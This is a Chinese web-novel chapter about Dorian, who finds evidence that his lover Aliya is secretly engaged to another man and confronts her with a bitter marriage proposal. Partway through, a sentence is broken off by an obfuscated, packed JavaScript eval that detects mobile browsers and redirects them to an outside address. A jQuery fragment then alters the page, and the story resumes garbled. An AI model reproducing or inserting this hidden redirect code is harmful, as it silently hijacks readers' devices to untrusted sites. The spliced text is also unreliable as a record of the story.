13.4-4

作品:《余兴派对[破镜重圆]

    多里安僵立在公寓走廊上,和门上小小的猫眼口对峙。


    试镜过程和回程火车都被挤到意识模糊的角落,清晰的只有每分每秒不停歇煎熬他的愤怒。他吸进的每口气都像要灼伤喉咙,然后他的肺叶、他的血管都开始升温燃烧。


    持续翻腾的情绪在他抵达公寓楼下时抵达沸点,化作突如其来的晕眩。耳朵里嗡嗡响得厉害,他不得不紧抿住嘴唇。


    因为感觉一张嘴,他就会不受控地呕吐出连篇的质问和指控。


    电梯比平时还慢,多里安等不及,一口气跑上六楼,右转,前进,左手边第三扇门。


    他在浅灰绿的金属门板前停住,再无法继续往前一步。


    惊怒的火焰被兜头一捧恐慌浇灭。他为该怎么质问阿利雅反复打过腹稿,临到头才发现,他竟然没想象过她会怎么回应。


    钥匙锯齿深深嵌入多里安的掌心,他感觉不到痛。


    斜对侧的公寓门倏地打开,面熟的邻居拎着垃圾袋出来,看到他愣了一下。


    “忘带钥匙了?要我叫管理员来吗?”对方困惑地沉默片刻之后提议。


    “不,不……”多里安喃喃,抬手将钥匙对准门锁。


    他控制不住手上力道,有那么一瞬,他差点以为钥匙会承受不住断在锁芯里。


    门板顺从地朝内开启,多里安走进去。令人不安的寂静迎面包围他。


    玄关处的简易金属鞋架张牙舞爪得陌生,定睛看,缺了一双鞋。


    阿利雅出门了。


    多里安拖着身体进厨房,接了一杯水喝掉,身体在陷入椅子时骤然脱力。


    他环顾四周,公寓和他早晨离开时并无多大变化。最先撞入他视野的是立在沥水架上的餐盘,活泼温暖的乡村风格,他和阿利雅逛跳蚤市场时一起挑的。


    餐具、食物、日用品,这些物件如涓流般点点滴滴淌进公寓。现在看来,每样都是隐藏了身份的舞台道具,合谋搭出一个逼真的日常生活布景。


    逼真,无限逼近真实,但终究是虚假。


    仿佛要提醒自己这个结论,多里安打开手机相册,最新的几张截图都是他在火车上疯狂搜索调查的成果。


    点开,放大。


    第一张是某所高级中学的校内新闻页。


    德·博蒙特家低调得可疑,‘阿利雅·德·博蒙特’不仅没有公开的实名社交账户,如果搜索她的名字,全网更是找不到一张清晰的正脸照片。亨利·道尔订婚的新闻里也只模糊提到了女方的名字、国籍和年龄。


    就连这个名字出现的地方也寥寥无几,能从中获取的信息少得可怜。


    这张截图中的网页属于圣日内维耶高级中学。至少可以确定,两年前的二月,那里有一名叫阿利雅·C·德·博蒙特的学生在读。


    圣日内维耶是一所国立直属精英中学,位于首都中心人文老区,以优秀的CPGE预科课程闻名。这个阿利雅是校哲学辩论社团的一员,两年前,她出现在首都大区参赛队员名单中。


    多里安没有问过阿利雅的教育履历。仅凭这一则校内新闻,并没办法证明她们是一个人。


    第二张截图是博蒙特城堡基金会官网发布的讣告:


    ‘我们以沉痛的心情地告知各位,本基金会法人,让·洛朗德·德·博蒙特先生与太太妮可因故不幸去世。


    ‘依照遗嘱,德·博蒙特夫妇的葬礼已于8月27日举行,感谢各位博蒙特之友的关心悼唁。理事会副主席暂时代理法人职务,后续运营变更将持续跟进。’


    发布时间,去年9月1日。


    落款是副主席 S·克莱夫,以及某个‘A.C. 德·博蒙特’。


    多里安翻遍了基金会的所有通告,都没找到关于这个名字缩写与阿利雅·夏洛蒂亦一样的人的其他信息。


    调查到这一步,多里安依然没有能让两个阿利雅画等号的决定性证据。


    左划,最后一张截图是来自Flickerlog平台的照片。


    多里安找到这个账户完全要感谢社交平台算法。


    他先发现了圣日内维耶中学的哲学辩论社团的账户,但里面的帖子定期清理,他一无所获。


    然而Flickerlog紧接着就推荐了几个关联用户,其中一个的账户名异常眼熟,与全名关联起来毫不费力。而出现阿利雅·德·博蒙特的校园通告里,就有这么一个对得上的名字。


    账户主人家境优越,就读某座私立大学,正在一家咨询机构实习。滑过漫不经心展示酒店、健身房和限量手链手袋的大量照片,接近账户底部是两年前的一张不起眼日常相片:


    会议室桌子,坐在桌子边的少男少女,散漫摆着的饮料杯和点心盘,亮着屏幕的笔记本电脑上隐约可以看到‘辩题’等字样。背景虚化的角落,大概是会议室玻璃门,上面有一个与圣日内维耶中学校徽轮廓相似的图案。


    这张照片配文:‘年轻哲学家们也需要茶歇’


    图片的右下角,非常靠近镜头的地方,一个女孩正单手撑着太阳穴和身边人说话。


    她只露出半张脸,栗色长发披散,镜头捕捉到的眼睛是多里安熟悉的、虹膜边缘微微泛绿的浅褐色。


    无论看多少次,与这张关键证据对视超过两秒,多里安就忍不住想要闭上眼睛。


    他扮演了一把剥丝抽茧寻找罪证的侦探角色,但罪证真的到手,他竟然恼恨起来:恨犯人为什么不贯彻缜密的行事风格到底,为什么偏偏在关键时刻马虎,意外被目击留底。


    离完美犯罪明明就差一点。


    只要欠缺最后一环,他的推论就无法成立。


    他也就还能自欺欺人地相信都是巧合。


    多里安一小块一小块地掰开剩下的干酪,木然塞进嘴里。背叛和欺骗的苦味在嘴里蔓延,他感觉自己像在咀嚼怪味橡胶。


    锁芯在这时转动开启,房门开阖的响动与轻快的语声同时响起:


    “噢,你已经回来了?”


    多里安冻住。


    他没法回头看,只能坐在原位,听着熟悉的脚步声越来越近。


    比手臂先半秒环住他的是阿利雅身上的淡香水味。


    咚的一下柔和闷响,她把装了东西的购物袋被放到厨房台面上,接着从后抱住他。


    “累坏了?”她在他肩膀上蹭了蹭,“希望你还有力气吃饭,我买到了很好的生火腿。我原本还想弄点蜜瓜配着一起吃,但是切开的不新鲜,整只的又太贵了,我应该再早点去的……”


    多里安缓缓侧首看向阿利雅。


    坚硬的、冰冷的、暴烈的怒意在与她四目相对的瞬间逆流,像要从内撕裂他。


    她认真地和他讲关乎晚餐的诸多重大选择,看着他的眼睛亮晶晶的。就只是那么轻易地,准备好的开场白作废,他一句话都问不出口了。


    如果这样的眼神、还有触碰他的轻柔力道全都是演技,那么她才应该去拍电影。


    “说起来,试镜怎么样?”


    所以,阿利雅佯作随意地发问时,多里安没答话。他抓住她的上臂一拉,略微仰头,准确找到她的嘴唇。


    唇齿纠缠时他压着眼睑,他看不到她,所以他好像又可以怨恨责怪她了。


    那些无处宣泄的情绪泼溅出来,打湿彼此的唇角。不知道什么时候,阿利雅侧身坐到了多里安腿上,手指顺着他的衬衫肩线无意识地来回走着,时不时忽然揪紧。


    在仿佛要吞吃掉彼此的亲吻间隙,她略微后撤,双手捧住他的脸,蹙起的眉间写着疑惑与忧虑:


    “你还好吗?……你确定不想聊聊吗?”


    多里安垂下眼睫,扯了扯嘴角。


    “别说话。”他低柔地下命令,一把将她压得更近。


    眼神、微表情、话语、台词,全都可以是演技——表演课入门,基础中的基础。所以看着她、听她说话都让他痛苦。


    而伸手去推、去触碰,才能分辨被爱的证据是否是沙子垒出的幻象城堡。于是可以切实抓住的,好像就只剩下最原始诚实的反应。


    多里安一直是个温柔体贴的情人。


    哪怕是他偶然发


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483573|184066||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    作的坏心眼,也往往包裹在许多层的柔软话语和亲吻下,欠缺压迫感。


    唯独那个8月17日不同。绝望代替热情燃烧,狂乱,几近粗暴,试探再试探,在索取和给予的循环中求证不掺杂谎言的爱;无处宣泄的恨意找到爱的表达形式,冒犯,侵略,探究底线可以为他松动到什么地步,无限逼近极限。


    地中海边的夏季白昼明亮并且漫长。透过阳台门帘洒落的日光最初是白色,廉价的复合板地面和旧餐桌都沐浴其中,短暂蒙上一层润泽的光泽,像干净的画布,任由拉长的人影在上面摇摇晃晃,留下潮湿的色块。


    而后橙粉色的夕阳张扬地侵染整片天空,晚霞的光辉依依不舍淡去时,蓝紫色的冷光灌满窄小的卧室,也笼罩两人份的脸庞和肩膀。


    卧室突然有那么一点像个灌满水的鱼缸。


    只要不去想外面还存在的整片海洋,拥抱着交换呼吸就足够,不会窒息,没有危险,就那么沉沉睡去。


    多里安却无法安心久睡。狂潮过后,他不确定自己是否真的抓住了什么切实的证据。无望的、从内啃噬他的空虚感只有更加强烈。


    阿利雅在他怀里醒来的时候,他已经神志清醒地躺了很久很久。


    “你睡着过吗?”她抬手轻轻抚摸他眼下青黑的痕迹。


    “嗯。”他应声,眼珠却定定向着墙上的影子。


    “多里安。”


    他终于垂眸看她。


    “如果是昨天的试镜不顺利,下个机会很快就会有的。”


    多里安眨了眨眼。哦,试镜,那是非常遥远的字眼。


    “不,和那没关系。”


    阿利雅无言等待,等他继续说明。


    于是多里安说:“我可以问你一个问题么。”


    “什么?”


    “之后……等夏天结束,我们会怎么样?”


    “怎么样是指?”卧室里宁静的水波在退潮,阿利雅没有看他,疑惑的声调显得空洞。


    多里安笑了一下,委婉戳穿她的闪躲态度似地,碰了碰她的脸。


    “夏天会结束,不论是我还是你都不会一直待在度假小镇。我们现在的关系,现在的一切……那时你有什么打算?”


    阿利雅的唇瓣微微颤抖。


    他到最后都不知道那一刻她没有说出口的答句是什么。


    一秒,两秒,三秒,半分钟,沉默逐渐浓重,令人窒息。


    阿利雅脱出他的怀抱,坐到床边,背对他披上睡衣。


    “让我想一想可以吗?”她说。


    “你需要多少时间?”


    多里安强硬追问的态度让阿利雅略微回头。她想了想:“我不想乱承诺什么再毁约,总之,给我一点时间。”


    婚礼请柬上的日期在眼前一晃而过。他笑了声:“时间好像不多了。”


    “什么?”阿利雅嚯地转过头看他。


    多里安也缓慢坐直了。他靠在床头,对她微微笑着。他看了她好几秒,念出阿利雅租下这间短租公寓使用的名字:“阿利雅·莫罗,”


    半拍的停顿。


    “你愿意和我结婚吗?”他用异常平淡的语调问道。


    阿利雅整个人都僵硬了,有那么片刻,她浑身在动的好像只有摇撼的瞳孔——震惊地扩张,而后又收缩。


    “怎……怎么那么突然?”她扶着床头站起来,舌头有点打结。


    “很突然吗?”多里安反问。


    “我们才二十,考虑这些有点太早了……”


    “年龄是你唯一的顾虑吗?”多里安像是觉得这话滑稽,却没能笑出来,表情顿时怪异极了。


    “还是说,你有别的不愿意接受我求婚的理由?比如,我们认识的时间太短;又或者,你没那么喜欢我?再比如……”


    他说到这里闭了闭眼,准备好迎接迎面一刀似地吸气,短促地吐出下一问:


    “你不想犯重婚罪?”


    阿利雅脸上霎时失去血色。


    她盯着他看了半晌,低声说:


    “所以,你知道了。”